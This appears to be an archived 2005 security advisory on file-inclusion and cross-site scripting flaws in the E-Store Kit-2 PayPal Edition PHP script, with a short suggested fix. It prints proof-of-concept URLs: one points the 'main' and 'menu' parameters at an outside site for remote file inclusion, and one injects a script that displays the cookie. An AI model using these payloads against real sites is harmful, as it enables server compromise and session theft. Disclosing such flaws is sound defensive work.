<<< Date Index >>>     <<< Thread Index >>>

File inclusion and XSS vulnerability in E-Store Kit-2 PayPal Edition




Dcrab 's Security Advisory
http://icis.digitalparadox.org/~dcrab
http://www.hackerscenter.com/

Severity:  High
Title: File inclusion and XSS vulnerability in E-Store Kit-2 PayPal Edition
Date: March  26,  2005

Summary:
There are file include and xss vulnerabilities in E-Store Kit-2 PayPal Edition.

Proof of Concept Exploits:

http://www.magicscripts.com/demo/ms-pe02/catalog.php?cid=0&sid='%22&sortfield=title&sortorder=ASC&pagenumber=1&main=http://whatismyip.com&;

menu=http://whatismyip.com
This results in http://www.whatismyip.com opening up on the server side 
resulting in possible compromise of the full system.

http://www.magicscripts.com/demo/ms-pe02/downloadform.php?txn_id=";>&lt;script&gt;alert(document.cookie)&lt;/script&gt;
This pops the cookie

Possible fix: The usage of htmlspeacialchars() and to enable safe mod in 
php.ini would solve these problems.

Author:
These vulnerabilties have been found and released by Diabolic Crab, Email: 
dcrab[AT|NOSPAM]hackersenter[DOT|NOSPAM]com, please feel free to 

contact me regarding these vulnerabilities. You can find me at, 
http://www.hackerscenter.com or http://icis.digitalparadox.org/~dcrab. Lookout 
for my 

soon to come out book on Secure coding with php.